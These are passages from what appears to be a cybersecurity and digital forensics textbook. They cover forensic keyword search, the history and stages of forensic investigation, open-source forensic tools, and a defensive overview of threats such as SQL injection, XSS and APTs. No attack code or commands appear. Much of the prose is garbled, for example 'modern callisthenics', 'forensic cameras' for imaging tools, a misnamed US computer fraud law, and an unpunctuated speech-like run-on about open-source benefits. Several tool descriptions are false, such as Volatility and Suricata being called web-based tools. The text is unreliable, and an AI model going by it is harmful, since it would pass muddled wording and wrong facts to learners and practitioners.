practice with devices will be highly advantageous since the network is one 
of the most critical components of cybersecurity.

1.7.6 � Cybersecurity Techniques for Digital Forensic

Forensic science that includes recovering and examining items discovered in digital 
devices is called “digital forensics” (Sathiyanarayanan n.d.). Digital forensics tools 
may fall under various subcategories: database forensics, disc and data capture, reg-
istry analysis, email analysis, file analysis, and file viewers are all examples of net-
work forensics and internet analysis. “Wrappers,” a unique digital forensics tool, 
have developed into a toolbox that integrates hundreds of different technologies with 
distinct capabilities into a comprehensive tool, an all-inclusive toolset that might be 
very useful for solving issues and obtaining evidence. In addition, many devices can 
perform multiple tasks at once. New tools, including high-end government-sponsored 
systems and homemade hacker setups, are created daily. Each has a slightly differ-
ent recipe. Some need network analysis or a cyber-threat assessment and go beyond 
straightforward searches for files or photos. The most urgent issue arises when there 
is a tool for every purpose (“A Guide to Digital Forensics and Cybersecurity Tools” 
n.d.). Using cybersecurity software, automated tasks, such as protecting and detect-
ing system vulnerabilities, are beneficial since they allow us to collaborate and iden-
tify solutions more efficiently.

The cyber forensic keyword search function is used to go through a lot of elec-
tronic data for evidence. A forensic email search is conducted during a cybercrime 
investigation using keywords entered into a computer forensics program. Specific 
keywords are used in keyword searches. It is a frequently used, simple method for 
accelerating manual searching—a list of data items found as a consequence of a 
keyword search. False positives and false negatives are two issues with keyword 
searches, however.

False Positive keyword searches typically return data objects about the right 
kind due to this output’s potential for false positives. False positives include 
specific keywords but do not fit into any certain kind. A forensic analyst 
must carefully browse keyword search data to eliminate false positives.
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False Negatives indicate that items of a specific kind exist but that the search 
process missed them. When a search tool misunderstands data items, the 
outcome is a false negative. This could occur due to encryption, compres-
sion, or the search utility’s inability to understand new data.

Approximate Matching Search is an extension of regular expression search. The 
matching algorithm is used. Character mismatches are permitted by the approximate 
matching search algorithm while looking for a term. It finds misspelled words that 
result in mismatches and many false positives. For approximative matches, use grep. 
This program uses a heuristic technique to locate people’s complete names among 
the information/data collected. Since regular expressions have a finite range of terms, 
specific tools, like the FILTER 1 tool from New Technologies Inc., are designed 
for more complicated searches. False positives and false negatives also affect this 
(Figure 1.4).

1.8 � APPLICATION OF CYBERSECURITY AND DIGITAL FORENSICS

Cybersecurity is a moral practice that aims to make our equipment safer and pro-
tected from hackers. People who work in cybersecurity carry out security procedures 
and activities to protect our equipment and data. Defending our network, devices, 
and data against unwanted and unlawful access by other parties is the main focus 
of cybersecurity. Hackers and other cybercriminals utilize the internet to carry out 
cyberattacks, install spyware, and otherwise break into other people’s electronic 
equipment.

Files, and other digital attacks that could allow users to access their private infor-
mation, demand. Cybersecurity’s primary goal is to shield all internet users from 
malicious software, infected ransom from them using that information, or even take 
down vital infrastructure like military and power grids.

FIGURE 1.4  Digital examination techniques.
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Cybersecurity may make applications more secure, which keeps them continu-
ously stable. Since more and more devices are connecting to the internet, securing 
any device linked to the internet is becoming increasingly crucial to guard against 
unwanted access.

1.8.1 �D igital Forensics

To solve a crime under the law, the field of forensic science known as “digital foren-
sics” is used. Due to the extensive availability and usage of diverse digital media 
and devices, and social media, there are many distinct branches of digital forensics, 
including network forensics, mobile forensics, email forensics, database forensics, 
etc. Digital forensics has a broad range of applications due to the rise in digital crime 
in many sectors.

The most common uses of digital forensics include the following:

Crime Detection: Malicious activities, including phishing, spoofing, ransom-
ware, and other forms of cybercrime, are standard on digital media and 
networks.

Crime Prevention: Numerous cybercrimes occur due to lax security or zero-
day bugs and other unpatched vulnerabilities. Therefore, cyber forensics aids 
in identifying these weaknesses and preventing such crimes from happening.
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2.1 � INTRODUCTION

True computer experts, know that solving an urgent issue is only the start of what 
comes after learning that an enterprise’s security and integrity have been compro-
mised, or when they initially believe they have been the victim of cybercrime. Cyber 
security professionals must thoroughly identify, preserve, analyse, and present digi-
tal evidence. This practice is called digital forensics. It is intriguing how technology 
has advanced over the years and impacted several fields. One field that has mainly 
seen many changes is digital forensics. This arena has become more complex with 
the improved use of technology in the 1970s. It is impressive to see how far we’ve 
come and how much more there is to learn! While this technology was used to com-
mit crimes and financial crimes in the 1980s, computers have helped shape digital 
court procedures into what they are today.

New forms of criminal activity have materialised with the advent of modern cal-
listhenics. For digital forensics to be the primary tool used by law enforcement agen-
cies in legitimate investigations and crackdowns, it is necessary to collect information 
on evidence based on computers, such as social corruption, computer hacking, and 
computers on waste, but also with the help of computers, for example, illegal data 
breaches resulting in the theft of facts.

Particular tools to assist investigators in the seizure investigation and maintenance 
of evidence that might arise while examining that criminal commotion. Any part of 
the operating method can be vulnerable to illegal activity, data theft, or unauthorised 
admittance. Regarding digital forensics, experts must consider storage media hard-
ware and usage strategies, policies, and claims to correctly determine the reconcilia-
tion’s value. Additionally, it’s vital to maintain the mission criticality test level of the 
hosted application system or network. Forensic experts must consider numerous fac-
tors in their complex and fascinating field, constantly evolving with technology. 
Following the scientific process in an empirical approach to forensic analysis is 
essential. Analysts tighten their equipment, analyse, and repeat those techniques and 
results to be sure. In the reporting phase, proposals are submitted to expert evidence 
or evidence because investigators may be necessary for the evidence disclosed as part 
of the expert statements. This management system makes it easier for evidence to be 
fully admissible in court, another critical consideration for organisations [1]. Should 
evidence that could be misused by untrained staff be rejected? Evidence preservation 
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considerations: the organisation may bring in law enforcement or outside forensic 
experts in legal remedies such as filing a criminal case against the plaintiff; further-
more, considering processors, systems, networks, and the possibility of mobile pro-
cesses could be exploited or procured targets in a cyberattack. Different attack 
techniques and evidentiary behaviour requirements in each device class have meant 
the development of three distinct branches of digital forensics. Digital forensics can 
rely on the need for disk images to store evidence, or simulated drives are available 
to clone the entire machine. Network forensics centres on observing and inspecting 
computer network movement in mobile devices and presenting their exceptional 
encounters—the memory instability resulting from low-power RAM and switching 
the phone off can result in data loss. The investigator must protect and preserve the 
chain of custody for evidence. Regardless of where the attack occurs, the agency’s 
cyber security database should have procedures that address all forensic discussions, 
such as law enforcement contact with law enforcement and routine forensic investi-
gations reviewing and testing, guidelines, and policies. For example, where card-
holder data is included, and he decides to use external experts when he realises his 
business has been compromised, digital forensics can check that best practices have 
been done in collecting evidence and, all in all, will go undetected or destroyed with-
out digital forensic evidence. As cybercriminals become more sophisticated, our sys-
tems remain vulnerable to new attacks. These attacks are causing increasing data 
breaches, disrupting corporate digital forensics. Despite these challenges, the digital 
forensics process will continue to evolve and provide practical ways to bring cyber-
criminals to justice in our complex and fast-paced technological environment [1].

2.2 � WHAT IS DIGITAL FORENSIC?

Digital forensics is investigating and retrieving digital evidence from digital media. It 
involves specialised techniques, methods, and procedures for analysing and present-
ing electronic evidence. Computer forensic examination deals with the digital analy-
sis of the digital evidence and retraction of the data and its use in court processing [1].

Digital evidence refers to any data stored or transmitted by a computer that sup-
ports a theory about how a crime occurred or satisfies essential elements such as intent 
or alibi. Digital evidence is elementary, such as fingerprints and footprints. Digital 
evidence is also “latent,” meaning it is not visible naturally, like blood. It’s crucial for 
the court to thoroughly investigate any actions that may have tampered with or 
destroyed digital evidence. This ensures that justice is served and all parties are held 
accountable. Let’s make sure that the truth prevails! Digital evidence changes almost 
constantly and is highly time-sensitive. It can create digital proof easily and quickly.

Although it often associates it with multiple electronic forensic investigations 
used in government policy, the discipline contains methods and principles similar to 
data extraction and retrieval but with additional guidelines and practices intended for 
statutory accounting methods [2, 3].

2.3 � HISTORY

The digital forensic discipline evolved from the explosion of personal computers 
in the 1970s and 1980s. The first misconduct of cybercrimes was recognised in the 



24� Advanced Techniques and Applications of Cybersecurity and Forensics

Florida Computer Crimes Act of 1978, which contained a law besides unauthor-
ised alteration or deletion of data in computer systems. Over time, various forms 
of cybercrimes emerged, including those related to official documents, invasion of 
privacy, harassment, and child pornography. As a response to these issues, legislation 
was put in place to address them. It was not until the 1980s that national laws began 
to include cybercrime. Canada was the leading country to permit statutes in 1983. 
Then we followed this: “The Government Digital Fraud and Abuse Action” 1986, the 
Australian amendment to their Criminal Code in 1989, and the British Computer Act 
in 1990. The 1990s were in high demand during the decade, and these crucial new 
research resources [4] (Figure 2.1).

PERSONAL COMPUTER (1970)

FIRST CYBER CRIME RECOGNIZED (1978) FLORIDA

FEDERAL LAWS OF COMPUTER OFFENCE (1980)

FIRST COUNTRY TO PASS LEGISLATION IN 1983 FOR
COMPUTER OFFENCES

AUSTRALIAN AMENDMENT IN THEIR ACT (1989)

BRITISH COMPUTER ACT (1990)

THIS WAS FOLLOWED BY THE COMPUTER AND ABUSE
ACT (US)

2001-NATONAL INFRASTRUCTURE FOR COMPUTER
CRIME (LONDON)

2006-SOCA (SERIOUS ORGANIZED CRIME AGENCY)
(LONDON)

FIGURE 2.1  History of digital forensics.
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2.4 � OBJECTIVE OF FORENSIC ANALYSIS OF DIGITAL CRIMES

It is imperative to uncover specific and indisputable facts to reach a definitive con-
clusion in any forensic investigation. The examiner must utilise their expertise to 
pinpoint and thoroughly analyse the system’s weakest point, which is conclusive 
evidence of any processes that may have occurred. Fragments of evidence are found 
in the legal system, leaving clues through potentially ineffective actions and tri-
als according to Locard’s principle of exchange, then there will be an exchange. 
Hard evidence is based on simple statements like this one, a fundamental principle. 
Especially in digital forensics, when a criminal acts on a computer system, he leaves 
traces of his behaviour in the design, so any analysis should begin with an assump-
tion. The experimenter must identify evidence consistent with the hypothesis and 
procedures. In some cases, the exclusivity test is intended to establish the consistency 
of the evidence obtained.

2.5 � STAGES OF INVESTIGATION OF DIGITAL EVIDENCE

The digital forensics analysis process is divided into six stages in their usual sequen-
tial order.

Promptness: Judicial urgency is an essential and rarely overlooked element 
of the review process. Commercial digital forensics can include tutorials 
on customer system preparation. For example, a forensic investigation will 
provide more robust evidence if testing a piece of equipment has begun 
before an incident occurs.

Appropriate training for the forensic inspector themselves as soon as 
possible, a system for testing and verifying their software tools, introducing 
rules, sharing unexpected information, and ensuring that the on-site acquisi-
tion kit is complete and operational.

Evaluation: This phase includes obtaining guidance, interpreting information 
if it is ambiguous or uncertain, assessing risk, and allocating activities and 
resources. Law enforcement must evaluate potential physical threats that 
may arise towards suspected assets and determine the most effective way to 
counter them. Risk assessments are crucial in ensuring the safety and secu-
rity of all individuals involved. A viable organisation should also be aware 
of health and safety issues, their problems, and the potential financial and 
reputational risks of accepting a particular project.

Collection: To support procurement on-site rather than in a digital forensic lab, 
this phase requires searching for and acquiring techniques that can gather evi-
dence, record images, and hold information about the search (using specialised 
frames end and staff and persons who include the responsibility for providing 
digital facilities could be, such as an IT manager) would be interviewed or 
attend the meeting are usually carried out in this phase. The collection of mate-
rials is also included and tagging and certification items are retrieved from the 
site, which should be taped to numbered debris bags. Attention should be paid 
to delivering safe and secure materials to the tester’s lab [1].

Analysis: The assessment is based on the details of each project. The assessor 
usually gives feedback to the candidate throughout the assessment; from this 
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discourse, the assessment can take different forms or be narrowed down to 
specific areas. The assessment should be accurate, thorough, unbiased, docu-
mented, available, repeatable, and contained within the given timeline and 
means. There are many digital forensics tools offered. The basic plea of a 
digital forensic tool is that it will do what it is intended to do. The only way an 
investigator can be sure of this is to extensively test and evaluate the tools they 
rely on before conducting an investigation. Dual-tool authentication can con-
firm authenticity during examination. (If the monitor on device “A” detects 
artefact “W” instead of “V, then device “B” must reproduce this result.) [1]

Presentation: At this point, the inspector generally prepares a regulated report 
of findings, addresses the assumptions in the early guidance and any subse-
quent guidelines, and includes any additional evidence the inspector deems 
appropriate. The research is also discussed. The report should be written with 
the end person in the notice. The person will usually be non-technical, so 
human-appropriate expressions should be used. The facilitator should also be 
prepared to present and solidify the report in conferences or teleconferences.

Review: Like the tilt term, the review term needs to be noticed more. This may 
be due to an unaffordable effort cost or the need to “get on to the next step.” 
Reviewing a study is easy, quick, and can be initiated at any of the above 
points. This scholarship yields indispensable insights into what went wrong, 
what went right, and how to integrate them into future trials. The response of 
the founding party should also be followed up. As we move forward to the next 
phase, let’s take a moment to reflect on the valuable lessons we learned. These 
insights will undoubtedly prove helpful for future research endeavours and 
should be carefully cultivated during our preparation process. Let’s use these 
lessons to fuel our progress and achieve even greater success in the future! [1]

2.6 � DIGITAL FORENSIC TOOLS

Digital forensic tools make our work more competent or even possible. Specific-
purpose tools are the least efficient gears. Did you know these amazing things can 
come in hardware and software? It can be profitable tools that may be dry or open 
source and available for free. It’s essential to consider the pros and cons of each 
option. Consider this when deciding: one tool does it all or does it all very well. Thus, 
it is a good move; having multiple tools is also a great way to validate a finding—the 
same results, with two different tools making the evidence more reliable [5].

2.7 � DIFFERENT TOOLS OF DIGITAL FORENSIC

It is imperative to utilise digital forensic tools, both hardware and software, to col-
lect, store, analyse, and present digital evidence in forensic investigations. Some 
common types of digital forensic tools include the following:

	•	 Forensic cameras are a forensic copy of the storage device, such as a hard 
drive or memory card. Examples include dd, FTK Imager, and Encase.

	•	 Data recovery tools are used to improve deleted or lost files from the storage 
device. Examples include Recuva, PhotoRec, and R-Studio.
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	•	 File carving tools extract files from unallocated space on a storage device. 
Examples include Foremost and Scalpel.

	•	 File analysis tools analyse specific types of files, such as email or image 
files. Examples include the Sleuth Kit and Autopsy for analysing file sys-
tems and XRY and Cellebrite for mobile devices.

	•	 Hash databases compare files or images to known excellent or bad files by 
their cryptographic hash value. Examples include NSRL and MD5sum.

	•	 Network forensic tools capture, analyse, and visualise network traffic. 
Examples include Wireshark, Tcpdump, and Net Witness Investigator.

	•	 Mobile forensic tools analyse mobile device data, including text messages, 
call logs, and GPS data. Examples include Oxygen Forensics Suite, XRY, 
and Cellebrite.

	•	 It is important to note that the tools and techniques used in digital forensics 
will depend on the specific case and the type of evidence gathered [6].

2.8 � DIFFERENT TECHNIQUES OF DIGITAL FORENSIC

Numerous procedures can be used in digital forensics, depending on the investiga-
tion type and the evidence collection. Some of the standard techniques include the 
following [1]:

Imaging: This method performs a forensic copy of a storage device such as a 
hard drive or memory card for analysis. A hardware write blocker is usually 
used to prevent changes to the actual evidence.

Data recovery: This technique involves using specialised software to advance 
removed or lost files from a storage device. It can be done using file carving 
or undelete tools [1].

File analysis: This technique involves analysing specific types of files, such 
as email or image files, to extract relevant information. It uses specialised 
software, such as the Sleuth Kit and Autopsy.

Hash analysis: This technique compares files or images to known excellent 
or bad files by their cryptographic hash value. It can be done using hash 
databases, such as NSRL and MD5sum.

Timeline analysis: This method involves analysing files and system events to 
create a timeline history of activity on the computer. It can be done with 
special software like log2timeline.

Memory analysis: Analysing the volatile memory of a computer is a crucial 
process in extracting information about running applications, open network 
connections, and recently accessed files.

Network forensics: This method captures and analyses web traffic to detect 
and replicate network-based activity. It can be done with special software 
like Wireshark and Tcpdump.

Mobile forensics: This technique analyses mobile device data, including text 
messages, call logs, and GPS data. This can be done using specialised soft-
ware and hardware tools like Oxygen Forensics Suite, XRY, and Cellebrite [5].

Cloud forensics: This technique analyses data stored in cloud amenities, such as 
AWS, Azure, and Google Cloud. How about this: “If you want to extract data 
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from the cloud, you’re in luck! There are some awesome tools out there that 
can help you get the job done. Say hello to CloudFetcher, Cloud Forensics, 
and CloudExtractor—your new best friends in the world of data extraction.”

Steganography and digital watermarking: This technique involves identify-
ing and extracting confidential data using specialised software and tech-
niques, such as encrypted messages or images within other files.

It is important to note that the methods used in digital forensics will depend on the 
specific case and the type of evidence gathered. Therefore, it is also essential to know 
digital forensics’ legal, ethical, and technical considerations.

2.9 � OPEN-SOURCE TOOLS AND TECHNIQUES

Regarding digital forensics, open-source tools and techniques are crucial in locating 
and examining digital evidence. These methods involve various software techniques 
that aid in the investigation process. Examples of open-source digital forensics tools 
include The Sleuth Kit, Autopsy, and dc3dd. Digital forensics consists of a range 
of tools that enable data retrieval, analysis of file systems, and investigation of net-
works. Open data acquisition and analysis standards are utilised in open-source digi-
tal forensics, and the community of open-source developers is engaged to improve 
and innovate new tools and techniques. It is imperative to use the appropriate tools 
and techniques in digital forensics to analyse digital evidence successfully. Examples 
of open-source digital forensic tools include The Sleuth Kit, Autopsy, and Foremost 
for data retrieval and Wireshark for network analysis. These tools can be combined 
with open-source techniques such as disk imaging and file hashing to help forensic 
investigators identify and preserve digital evidence [1].

2.10 � OPEN-SOURCE VERSUS PROPRIETARY

A comprehensive software malware analysis explains the difference between open-
source and proprietary software. Anyone can use, modify, and distribute open-source 
software [1]. The source code for open-source software is usually publicly available, 
allowing anyone to review and edit the code accordingly. Examples of open-source 
software include Linux, Apache, and Python. Proprietary software, conversely, refers 
to software owned by a company or individual and protected by copyright. Access 
to the source code of proprietary software is strictly controlled and not available to 
the public. Such software is permitted solely per the terms and conditions mentioned 
in the licence agreement. Copies of proprietary software types include Microsoft 
Windows, Adobe Photoshop, and Apple iOS [1].

Open-source software gives users complete control over the software, allowing 
them to modify and distribute it as necessary freely. In contrast, in the case of propri-
etary software, users are usually granted specified authority only in the paper agree-
ment. Another difference is that open-source software is generally free to download 
and use, while proprietary software often comes with a cost. However, some open-
source software may have a commercial license, but this is as rare as proprietary soft-
ware. Furthermore, open-source software typically has a collaborative development 
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process, with contributions from many different developers, while a single company 
or individual typically develops proprietary software. Open-source software is read-
ily available to the public for usage, modification, and distribution, as the source code 
is accessible to all. Proprietary software unequivocally belongs to a company or an 
individual and is legally safeguarded under copyright laws. The source code is not 
accessible to the public, and users are only permitted to use it in adherence to the 
license agreement.

2.11 � BENEFITS OF OPEN-SOURCE TOOLS

Open-source test tools are an absolute game-changer for companies and software 
testers, offering an extensive range of benefits that traditional tools cannot match. By 
leveraging the power of open-source testing, companies can take complete control 
of their testing process, making life easier and more efficient for everyone involved. 
It is crucial to understand the immense advantages that open-source test tools bring 
to the table. It could list six benefits out of the open source one is the it is Zero to 
low cost ownership basically open source is nothing but it is an entirely free of cost 
and if you need little maintenance support then should you have to pay for it which 
is again a low price in order to owning that and we’ll have a lot of flexibility as well 
because you can venture and we can identify the various tools and adopt whatever 
the open-source which are needed for your project the flexibility have and you can 
drop down some of the tools already using and you can ventilate out new tools again 
do a lot of analysis and adopt again right these are some of the critical things you 
can do with the open source the third benefit is either using the open-source tools for 
these you can do customisation of these tools has will on your own right because the 
code comes in open source you can take that source core and you can modify as per 
your needs if the benefit is you will get a lot of good community support it gives an 
advantage of promoting open-source culture in your organisation that would help the 
more extensive community in the world.

2.12 � CLASSIFICATION OF TOOLS AND TECHNIQUES

Figure 2.2 shows the classification of tools and techniques. Figure 2.3 shows the 
Linux-based Open source tools and Figure 2.4 shows the Windows-based Open 
source tools.

FIGURE 2.2  Classification of tools and techniques.



30�
A

d
van

ced
 Tech

n
iq

u
es an

d
 A

p
p

licatio
n

s o
f C

yb
ersecu

rity an
d

 Fo
ren

sics

2.12.1 �
L

in
u

x-B
a

sed O
ST (F

ig
u

r
e 2.3)
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2.12.3 � Web-Based Open-Source Tools for Digital Forensic

Several web-based open-source tools in digital forensics can be used for various 
investigations. Here are a few examples:

Autopsy: A web-based interface for The Sleuth Kit, a suite of command-line 
tools for forensic analysis of file systems.

ELK Stack: Elasticsearch, Logstash, and Kibana form a powerful open-source 
integration that expertly collects, analyses, and visualises log data from var-
ious sources, such as network traffic and system logs [1].

Malware Analysis Tool (MAL-X): A web-based tool that allows analysts to 
analyse malware samples in a sandboxed environment.

Network Miner: A web-based tool that analyses network traffic and extracts 
files, DNS data, and IP information.

OpenWebAnalytics: A web-based tool for analysing web server logs and 
extracting visitor information, such as IP addresses, referrers, and user 
agents.

Suricata: This web-based tool will detect security threats in network traffic in 
real time with precision.

Volatility: A web-based tool that can be used to search through the messy 
memory of a computer and extract information such as trends, open net-
work connections, and recently accessed files [7].

It is crucial to understand that web-based tools may not always be appropriate for 
all types of investigations, and they can have more limitations than non-web-based 
tools. Therefore, it is essential to assess the case requirements and the capabilities of 
the devices to ensure that they are appropriate for the investigation.

2.13 � APPLICATIONS OF DIGITAL FORENSICS OPEN TOOLS

Digital forensics involves using specific tools and techniques to capture, analyse, and 
present digital evidence to the court. Open-source digital forensics tools are software 
programs that investigators can use to collect and analyse digital evidence. These 
tools can be used for the variability of tasks:

Disk and file system analysis: Tools like Sleuth Kit and Autopsy can analyse 
disk and file system images to recover deleted files, identify file system 
artefacts, and extract information from unallocated space.

Memory analysis: Tools like Volatility and Rekall can analyse memory dumps 
and extract information about running processes, network connections, and 
other system states.

Network forensics: Wireshark and Tcpdump are essential tools for detecting 
and extracting evidence of malicious activity by capturing and analysing 
network traffic [1].

Mobile device forensics: Mobile forensics tools such as MOBILedit, Belkasoft 
Evidence Center, and Autopsy are capable of effectively extracting crucial 
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information from mobile devices, including call logs, text messages, and 
GPS data.

Malware analysis: Tools such as Cuckoo Sandbox and Malware can analyse 
malware samples and extract information about their behaviour, such as the 
files they create and their network connections.

Organisations and individuals can effectively and confidently investigate digital evi-
dence using cost-effective open-source digital forensics tools:

Computer forensics: Open-source tools can analyse computer systems and 
packing devices, such as hard drives and memory cards, to recover deleted 
files, extract evidence, and reconstruct user activity.

Network forensics: Open-source tools can capture and analyse network traf-
fic to identify and reconstruct network-based activities, such as intrusion 
attempts and data exfiltration.

Mobile forensics: Open-source tools can analyse mobile device data such as 
text messages, call logs, and GPS data to extract evidence and reconstruct 
user activity.

Cloud forensics: Open-source tools can be used to analyse data stored in cloud 
services, such as AWS, Azure, and Google Cloud, to extract evidence and 
reconstruct user activity.

Web forensics: Open-source tools can analyse web browsers, web caches, and 
other web-based evidence, such as social media data, to extract evidence 
and reconstruct user activity.

Incident response: Open-source tools can be used in the incident response 
process to extract and analyse data from a compromised system quickly.

Law enforcement: Law enforcement agencies can use open-source tools in 
criminal investigations to extract and analyse digital evidence.

Corporate: Corporate organisations can use open-source tools to investigate 
data breaches, employee misconduct, and other internal security incidents.

Digital forensics labs: Digital forensic labs can use open-source tools to con-
duct forensic analysis in their day-to-day operations.

These open-source tools can provide a cost-effective digital forensic examination 
solution and be customised and extended to meet specific needs.
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3.1 � INTRODUCTION: BACKGROUND AND DRIVING FORCES

The practice of protecting systems, networks, and data from hostile digital attacks, 
theft, and damage is known as cybersecurity. It necessitates the formation and usage 
of technologies, regulations, and regulations to ensure that information systems and 
networks are not accessed, employed, exposed, hindered, altered, or destroyed with-
out permission. Cybersecurity is advantageous for everyday users as it aids in pro-
tecting them from numerous digital perils that have the potential to cause serious 
damage [1]. These hazards can range from identity theft, theft of private information, 
financial loss, and injury to a person’s reputation.

With the increased use of the Internet and different online services, people’s per-
sonal data has become more readily available to cybercriminals. Hence, it is signifi-
cant for casual users to take action to safeguard themselves and their personal 
information from cyber dangers.

Cybersecurity is also advantageous for ordinary users since it can aid in protecting 
their hardware, for example, PCs and cell phones, from malicious software and other 
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types of malware. This can help prevent the loss of essential data and the unauthor-
ized use of their devices [2].

At the same time, by exercising good cybersecurity practices, users can also help 
protect the digital environment as a whole. Cyberattacks can have a knock-on effect 
and can cause harm to organizations, businesses, and governments.

In conclusion, cybersecurity is essential for general users as it helps to safeguard 
them from a wide range of digital threats and the potential negative effects that can 
result from these hazards. AI and ML are also used to help protect users from cyber 
threats. ML algorithms can be utilized to examine network traffic and recognize pat-
terns that signify a cyberattack. This can enable security teams to discover and 
respond to hazards quickly, lowering the effect of an attack. AI and ML are also used 
to create “intelligent” security systems that can learn and adjust to new dangers in 
real time [3]. These systems can constantly monitor networks and devices for unusual 
activity, and take automated actions to restrict or quarantine suspicious traffic. AI and 
ML are being employed to enhance the efficiency of Security Operations Centers 
(SOCs) by automating the collection and evaluation of security data, decreasing the 
time and effort needed for manual threat hunting. AI and ML are also applied in the 
field of vulnerability management, where AI models are trained to detect and predict 
vulnerabilities and prioritize them based on their seriousness [4].

Incorporating AI and ML into cybersecurity can be advantageous for organiza-
tions, as it can help them become better at identifying potential threats, limiting the 
damage caused by cyberattacks, and ultimately improving the security of their net-
works and devices [5].

3.2 � TYPES OF CYBER THREATS

Cyber threats are criminal acts committed online that try to jeopardize the security, 
availability, or integrity of digital assets. Malware, phishing, DoS attacks, man-in-
the-middle (MitM) assaults, SQL injection, Cross-Site Scripting (XSS), advanced 
persistent threats (APTs), and zero-day exploits are just a few examples of the vari-
ous types of cyber threats. Numerous types of harm, including financial loss, data 
theft, harm to one’s reputation, and even physical violence, can be brought on by 
these threats [6]. Cyber threats can be perpetrated by a variety of actors, including 
cybercriminals, nation-states, hacktivists, and insider threats. They can be directed at 
specific people, organizations, or even entire countries. To lessen cyber dangers, it’s 
essential to combine preventive and proactive methods such as network segmenta-
tion, encryption, intrusion detection, patch management, security awareness training, 
and incident response planning. There are many types of cyber threats, including the 
following (Figure 3.1).

3.2.1 � Malware

Malicious software is intended to harm a computer, a network, or a person. 
Ransomware, Trojans, and viruses are some examples. Malicious software, some-
times known as malware, is any program or piece of code created with the inten-
tion of harming or abusing a computer system, network, or other device without 
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the owner’s knowledge. Threats of all stripes are included, such as Trojan horses, 
worms, ransomware, spyware, adware, and more. Malware can be used for a variety 
of purposes, including stealing private information, interfering with normal com-
puter operations, or illegally accessing systems. Protecting your devices with antivi-
rus software, regularly updating your software, and avoiding suspicious downloads 
can help prevent malware infections.

3.2.2 � Phishing

Phishing is a scam in which criminals use the appearance of a trustworthy com-
pany to get personal information, such as passwords and credit card numbers. It is 
a type of cyberattack when a perpetrator sends emails, SMS, or fake websites to a 
target in an effort to trick them into disclosing sensitive information, including login 
passwords, credit card information, or personal information. The attacker frequently 
creates a sense of urgency or dread in order to persuade the victim to click on a link 
or provide information. Phishing attacks are often successful because they rely on 
human vulnerabilities rather than technical weaknesses. You should be wary of unex-
pected emails or messages, double-check the sender’s identity and website URLs, 
and refrain from clicking on dubious links or files in order to protect yourself from 
phishing assaults. It’s also important to educate yourself and others about phishing 
techniques and to report suspicious activities to the appropriate authorities [7].

FIGURE 3.1  Types of cyber threats.
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3.2.3 � Denial-of-Service (DoS) Attacks

An attempt to flood a website or online service with traffic in order to interfere with 
its regular operation. A cyberattack known as a DoS occurs when an attacker over-
loads a website or network with traffic or requests in order to deny access to the 
service to legitimate users. The assault can be executed using a variety of techniques, 
including sending a huge number of requests, taking advantage of network flaws, 
or utilizing a botnet—a collection of compromised devices that can be managed by 
the attacker. A DoS attack aims to prevent access to a website or network, resulting 
in inconvenience, monetary loss, or reputational damage. Network managers can 
employ a number of methods to stop DoS attacks, including filtering traffic, limit-
ing connections, or utilizing load balancers to split traffic across several servers. 
Additionally, it’s crucial to use secure passwords, keep software updated, and refrain 
from making superfluous network services accessible to the public.

3.2.4 � Man-in-the-Middle Attacks

A cyberattack in which the offender eavesdrops on the communications of two par-
ties and then takes or tampers with the sent data. MitM assaults are a type of cyber-
attack in which an attacker modifies and intercepts two parties’ communications to 
make it appear as though they are speaking directly to one another. A multitude of 
methods, including eavesdropping, manipulation, or impersonation, can be used by 
an attacker to get access to sensitive information, such as login credentials, financial 
information, or personal information. MitM attacks can be carried out in various 
contexts, such as over Wi-Fi networks, email communication, or web browsing. To 
prevent MitM attacks, it’s important to use encryption, such as Secure Socket Layer/
Transport Layer Security (SSL/TLS), to secure communication, avoid using public 
Wi-Fi networks for sensitive transactions, and verify the identity of websites or indi-
viduals before sharing sensitive information. MitM attacks can also be avoided by 
utilizing two-factor authentication and keeping software up to date [8].

3.2.5 �S QL Injection

SQL Injection is a breach that makes use of weaknesses in SQL, the database man-
agement language. Attackers may employ SQL injection to steal confidential infor-
mation or even potentially take over a database. In order to exploit flaws in an online 
application’s SQL database, malicious code is frequently injected into user input 
fields in a technique known as SQL injection. The attack may provide the attacker 
access to the server in order to run arbitrary commands, extract or alter sensitive 
data, or circumvent authentication. SQL injection attacks may occur when software 
neglects to validate user input or makes use of dynamic SQL statements that incor-
rectly combine user input with SQL commands. In order to handle user input, devel-
opers should use prepared statements or stored procedures, avoid concatenating user 
input with SQL commands, and sanitize user input to remove special characters that 
could be used in injection attacks. SQL injection attacks can be recognized and pre-
vented by network administrators using intrusion detection systems (IDS) [9].
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3.2.6 �C ross-Site Scripting

Cross-site scripting (XSS) is an attack that allows the attacker to include dangerous 
scripts on a website that naive users then run. It is a type of cyberattack that takes 
place when an attacker inserts malicious code onto a web page that is being viewed 
by other users. Using this technique, an attacker might be able to steal private data, 
such as cookies, session tokens, or other login credentials, as well as perform other 
malicious tasks including defacing a website, sending users to dangerous domains, 
or executing arbitrary code on the user’s browser. XSS attacks can occur when an 
application fails to sanitize user input, such as form fields or URL parameters, or 
when it allows untrusted content, such as user-generated content, to be displayed 
without proper encoding. To avoid XSS attacks, developers should clean up user 
input, encrypt user-generated content, and implement Content Security Policy (CSP) 
to restrict the types of content that can be processed on a web page. Web application 
firewalls (WAF) are another tool that network managers can employ to find and stop 
XSS assaults.

3.2.7 �A dvanced Persistent Threats

Advanced persistent threats are an advanced form of assault in which a hacker enters 
a network and stays there for a long time, frequently with the intent of obtaining 
sensitive data. APTs are complex, persistent cyberattacks designed to steal critical 
information from a targeted organization covertly. The stages of an APT assault fre-
quently include reconnaissance, weaponization, delivery, exploitation, installation, 
command and control, and exfiltration. An APT seeks to gain ongoing access to a 
company’s systems or network in order to retrieve sensitive data over a prolonged 
period of time. APTs target a variety of areas, including government, finance, energy, 
and healthcare, and can be carried out by nation-state actors, organized crime gangs, 
or hacktivists. Businesses should employ a multi-layered security strategy that 
includes robust authentication, encryption, network segmentation, intrusion detec-
tion, and ongoing monitoring to stop APTs. Additionally, it is critical to maintain 
software and system updates, educate staff on cybersecurity best practices, and con-
duct frequent security audits and penetration tests to find vulnerabilities.

3.2.8 � Zero-Day Exploits

A cyberattack that makes use of a software component’s undiscovered weakness. 
Because the software developers did not have time to patch the vulnerability, these 
attacks can be more deadly. Zero-day exploits are flaws in hardware or software that 
the vendor is unaware of and for which there is no patch or repair available. Attackers 
can use zero-day exploits to carry out cyberattacks that can compromise the security 
of a system, steal sensitive data, or take control of the system. Zero-day exploits can 
be discovered by security researchers, but they can also be purchased or developed 
by hackers for malicious purposes. The term “zero-day” refers to the fact that the 
vendor has “zero days” to patch the vulnerability before it can be exploited. To pre-
vent zero-day exploits, it’s important to use a combination of preventive measures, 
